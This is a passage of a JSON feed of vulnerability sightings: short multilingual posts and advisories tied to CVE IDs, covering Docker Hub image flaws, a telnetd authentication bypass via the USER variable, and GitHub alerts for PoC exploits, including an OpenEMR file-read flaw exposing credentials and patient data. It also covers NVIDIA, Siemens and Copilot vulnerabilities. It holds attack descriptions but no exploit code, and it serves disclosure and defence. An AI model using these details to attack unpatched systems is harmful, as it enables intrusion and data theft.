information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Hitachi Energy PSIRT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-26\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-26\n1\nInitial public release\n\n\n2026-06-04\n2\nInitial CISA Republication of Hitachi Energy PSIRT 8DBD000252 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-06-04T10:00:00.000000Z"}, {"uuid": "20fd2030-c137-465a-94fa-711b7de41782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/kasperskyb2b/2206", "content": "\ud83d\udce6 \u0421\u043d\u043e\u0432\u0430 \u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u0445: \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 100 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0430\u0445 Docker Hub\n\n\u041d\u0430\u0448\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u0437\u0443\u0447\u0438\u043b\u0430 100 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 Docker Hub \u0441 \u0447\u0438\u0441\u043b\u043e\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u043e\u0442 10 \u0442\u044b\u0441\u044f\u0447 \u0434\u043e \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 Kaspersky Container Security.  \u0414\u043b\u044f \u0442\u0435\u0445 \u043a\u0442\u043e \u0441 \u043d\u0435\u0439 (\u0435\u0449\u0451) \u043d\u0435 \u0437\u043d\u0430\u043a\u043e\u043c, KCS \u0432 \u0447\u0438\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0435\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u043e\u0438 \u043e\u0431\u0440\u0430\u0437\u043e\u0432, \u043a\u043e\u043c\u0430\u043d\u0434\u044b Dockerfile \u0438 runtime-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438. KIRA, \u043e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043f\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043f\u0443\u0442\u0438 \u0443\u0442\u0435\u0447\u043a\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:\n\n\u27a1\ufe0f \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: 64% \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0431\u044b\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e 10%. \u0421\u0440\u0435\u0434\u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432: CVE-2025-49844 \u0432 Redis (RCE \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u043f\u0430\u0440\u0441\u0435\u0440\u0430 Lua), CVE-2026-24061 \u0432 nginx (RCE), \u0430 \u0442\u0430\u043a\u0436\u0435 CVE-2025-32463 \u0432 sudo \u0438 CVE-2023-4911 \u0432 glibc, \u043e\u0431\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u27a1\ufe0f \u041e\u0448\u0438\u0431\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438: \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 LLM-\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f KIRA \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0437\u0430\u0448\u0438\u0442\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0432 Dockerfile, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudo \u0441 NOPASSWD:ALL, \u043f\u0440\u0430\u0432\u0430 777 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u043e HTTP \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e TLS-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432.\n\n\u27a1\ufe0f \u0420\u0438\u0441\u043a\u0438 \u0412\u041f\u041e: \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0437\u044b \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0430\u043c\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u0412 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0437\u044b Trivy \u0438 LiteLLM \u0431\u044b\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438. \u042d\u0442\u043e\u0442 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0440\u0438\u0441\u043a\u043e\u043c \u0434\u043b\u044f \u043b\u044e\u0431\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \n\n#\u0441\u043e\u0432\u0435\u0442\u044b @\u041f2\u0422", "creation_timestamp": "2026-06-05T08:34:51.000000Z"}, {"uuid": "0d891e22-468c-452a-8744-8dc48972808d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/sec_post/479", "content": "\ud83d\udcf1 Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f Chrome, \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2026-2441 (CVSS: 8.8).\n\n\ud83d\udcbb\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0434\u043d\u0430\u043a\u043e \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u0448\u0438\u0431\u043a\u0438 \u0443\u0436\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u0438. \n\n\u23e9\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f Windows, macOS \u0438 Linux, \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 SecPost\ud83d\ude0d", "creation_timestamp": "2026-08-05T16:00:04.951270Z"}, {"uuid": "ce5a5424-d153-4ab7-8521-5a3a56858c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/sec_post/372", "content": "\ud83d\udea8 \u0412 telnetd (GNU InetUtils) \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24061, \u00ab\u0441\u043f\u0430\u0432\u0448\u0430\u044f\u00bb 11 \u043b\u0435\u0442. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0437\u0430\u0434\u0430\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 USER.\n\n\ud83d\udee1 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c: \u0437\u0430 \u0441\u0443\u0442\u043a\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0442\u0430\u043a \u0441 21 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e IP. CERT \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0442\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043e\u0442 telnet \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 SSH \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0443\u0442\u0438\u043b\u0438\u0442\u0443.\n\n\ud83d\udd27 \u0414\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u0435\u0442\u0443\u044e\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c telnetd \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0440\u0442\u0443 23/TCP. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 SecPost.", "creation_timestamp": "2026-08-05T16:00:05.117363Z"}, {"uuid": "401c8c9c-7dd3-4793-8952-d585829b9de7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/87431", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jacubes\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-05 12:28:19\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-24061 exploit PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-05T13:00:04.000000Z"}, {"uuid": "a7408d99-e45a-4ea2-8b91-451a19167b44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24849", "type": "seen", "source": "https://t.me/GithubRedTeam/87517", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24849\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a doany1\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-06 05:55:27\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof-of-concept exploit for **CVE-2026-24849**, an authenticated path-traversal / arbitrary file read in OpenEMR's Fax/SMS (EtherFax) module. Any authenticated user \u2014 regardless of privilege level \u2014 can read arbitrary files from the server filesystem as the web-server user (database credentials, patient documents/PHI, `/etc/passwd`, \u2026).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-06T06:00:05.000000Z"}, {"uuid": "8baa20a2-5e02-4b45-a0b6-a9b78a820456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24299", "type": "seen", "source": "https://bsky.app/profile/rhodzy.com/post/3msecwljtk725", "content": "New blog post: Copilot's Dirty Little Secret: When Your AI Mate Turns Pirate\n\nMicrosoft Copilot is everywhere, promising the wo...\n\nhttps://rhodzy.com/blog/copilots-dirty-little-secret-when-your-ai-mate-turns-pirate\n\n#microsoftcopilot #aisecurity #cve-2026-24299 #infosec #microsoft365 #cybersecurity", "creation_timestamp": "2026-08-05T20:00:29.519115Z"}, {"uuid": "9d81569c-fd08-45ff-b931-4f8de97f70bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mthbsludxl2b", "content": "Researchers got Microsoft Copilot to explain its own security bypass just by asking it the right follow-up\u00a0questions\n\nVaronis Threat Labs disclosed CoSnitch (CVE-2026-24301), a critical\u00a0flaw\u00a0in Microsoft Copilot Personal made of three chained weaknesses that let an attacker exfiltrate data from a\u2026", "creation_timestamp": "2026-08-19T17:43:32.838839Z"}, {"uuid": "d758b1b3-2252-4827-8f64-82b002a540ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24174", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnrngqv6vx2m", "content": "\ud83d\udccc CVE-2026-24174 - NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause a server crash by sending a malformed request to the server. A s... https://www.cyberhub.blog/cves/CVE-2026-24174", "creation_timestamp": "2026-06-08T12:07:08.451896Z"}, {"uuid": "cef145be-ac5b-418a-b7d2-9b9844b89c9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24146", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnrp4fs2mc2y", "content": "\ud83d\udccc CVE-2026-24146 - NVIDIA Triton Inference Server contains a vulnerability where insufficient input validation and a large number of outputs could cause a server crash. ... https://www.cyberhub.blog/cves/CVE-2026-24146", "creation_timestamp": "2026-06-08T12:37:08.036103Z"}, {"uuid": "0913561a-5fc7-48fd-87b3-3e0caba7687e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24737", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116719508098466554", "content": "#OT #Advisory VDE-2026-064METTLER TOLEDO: LabX Standard Report on External Component Analysis - v21.3\nMultiple vulnerabilities have been discovered in LabX Standard v21.3.22. Most of the vulnerabilities are fixed in LabX Standard v21.4.23. The Vulnerabilities CVE-2025-69419, CVE-2026-0915, CVE-2025-15467 and CVE-2025-58187 are not yet fixed. The fix will be available in the upcoming releases.#CVE CVE-2025-68121, CVE-2018-15727, CVE-2025-15467, CVE-2023-36414, CVE-2024-0056, CVE-2025-68154, CVE-2026-24737, CVE-2021-24112, CVE-2025-58187, CVE-2025-9230, CVE-2025-15281, CVE-2026-21218, CVE-2026-26127, CVE-2026-26130, CVE-2026-0915, CVE-2026-2391, CVE-2026-22036, CVE-2024-43483, CVE-2023-29331, CVE-2025-69419, CVE-2025-46817\nhttps://certvde.com/en/advisories/vde-2026-064/\n#CSAF https://mettler-toledo.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-064.json", "creation_timestamp": "2026-06-09T09:46:01.222209Z"}, {"uuid": "0c6af6fd-4454-4881-9db7-7c2de70cdb8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24349", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnu5epvqfc25", "content": "CVE-2026-24349 - SIMATIC WinCC Unified PC Runtime Certificate Manager Information Disclosure\nCVE ID : CVE-2026-24349\n \n Published : June 9, 2026, 10:16 a.m. | 59\u00a0minutes ago\n \n Description : A vulnerability has been identified in SIMATIC WinCC Unified PC Runtime V16 (All versi...", "creation_timestamp": "2026-06-09T11:57:38.921077Z"}, {"uuid": "b73ea5f7-2372-43b8-bfb6-7d6af617cc8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24315", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnu76qz3un2z", "content": "\ud83d\udd17 CVE : CVE-2025-68161, CVE-2026-22732, CVE-2026-24315, CVE-2026-27671, CVE-2026-29145, CVE-2026-40128, CVE-2026-44743, CVE-2026-44744, CVE-2026-44746, CVE-2026-44748, CVE-2026-44750, CVE-2026-44751, CVE-2026-44754, CVE-2026-44755, CVE-2026-44757", "creation_timestamp": "2026-06-09T12:30:08.494180Z"}, {"uuid": "409f6bcd-3d9e-4abe-bc6b-3584ffa76d88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24349", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnu76w7sj42g", "content": "\ud83d\udd17 CVE : CVE-2025-15467, CVE-2025-40808, CVE-2026-24349", "creation_timestamp": "2026-06-09T12:30:13.835782Z"}, {"uuid": "d38ef848-a448-4bbd-8bfb-874e623363f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24180", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnuotjfmxk2p", "content": "CVE-2026-24180 - NVIDIA DALI Heap-based Buffer Overflow\nCVE ID : CVE-2026-24180\n \n Published : June 9, 2026, 4:11 p.m. | 24\u00a0minutes ago\n \n Description : NVIDIA DALI contains a vulnerability in a component where an attacker could cause a heap-based buffer overflow. A successful...", "creation_timestamp": "2026-06-09T17:10:09.041756Z"}, {"uuid": "0a52abac-10f8-45eb-9c80-60991aea4948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24181", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnup5oegg42v", "content": "CVE-2026-24181 - NVIDIA DALI Improper Index Validation Vulnerability\nCVE ID : CVE-2026-24181\n \n Published : June 9, 2026, 4:11 p.m. | 25\u00a0minutes ago\n \n Description : NVIDIA DALI contains a vulnerability in a component where an attacker could cause an improper index validation....", "creation_timestamp": "2026-06-09T17:16:32.940049Z"}, {"uuid": "95f3551e-d84e-4182-af5e-71399e94575a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24065", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnupfnv4fn2v", "content": "CVE-2026-24065 - Local Privilege Escalation via Insecure XPC Client Validation in Waves Central for macOS\nCVE ID : CVE-2026-24065\n \n Published : June 9, 2026, 4:16 p.m. | 19\u00a0minutes ago\n \n Description : Waves Central for macOS versions 13.0.9 through 16.5.5 contain a local pri...", "creation_timestamp": "2026-06-09T17:20:19.869211Z"}, {"uuid": "aed26377-bf94-4c64-a19f-f1593180902b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24349", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-per-prodotti-siemens-22", "content": "", "creation_timestamp": "2026-06-09T07:30:01.000000Z"}, {"uuid": "875ef661-db2b-43f3-a759-46e366b281ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24175", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnurzfig2w2e", "content": "\ud83d\udccc CVE-2026-24175 - NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause a server crash by sending a malformed request header to the serv... https://www.cyberhub.blog/cves/CVE-2026-24175", "creation_timestamp": "2026-06-09T18:07:07.986028Z"}, {"uuid": "67f8cc54-b4ba-4924-8240-7680e840bfa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24180", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116721479487661795", "content": "CISA has updated the KEV catalogue:\n-  CVE-2026-7473: Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-7473\n-  CVE-2026-11645: Google Chromium V8 Out-of-Bounds Read and Write Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-11645  #CISA #Google #Chromium \nAMD:\nFour advisories: https://www.amd.com/en/resources/product-security.html #AMD \nNvidia:\nSecurity Bulletin: NVIDIA DALI - June 2026: CVE-2026-24180 and CVE-2026-24181 https://nvidia.custhelp.com/app/answers/detail/a_id/5814 #Nvidia #infosec #vulnerability", "creation_timestamp": "2026-06-09T18:14:05.587842Z"}, {"uuid": "44e19379-aafe-4eff-b9f0-995ef109472e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24181", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116721479487661795", "content": "CISA has updated the KEV catalogue:\n-  CVE-2026-7473: Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-7473\n-  CVE-2026-11645: Google Chromium V8 Out-of-Bounds Read and Write Vulnerability https://www.cve.org/CVERecord?id=CVE-2026-11645  #CISA #Google #Chromium \nAMD:\nFour advisories: https://www.amd.com/en/resources/product-security.html #AMD \nNvidia:\nSecurity Bulletin: NVIDIA DALI - June 2026: CVE-2026-24180 and CVE-2026-24181 https://nvidia.custhelp.com/app/answers/detail/a_id/5814 #Nvidia #infosec #vulnerability", "creation_timestamp": "2026-06-09T18:16:15.948513Z"}, {"uuid": "51f84410-ea24-41d9-9070-aa5a3fc90995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24717", "type": "seen", "source": 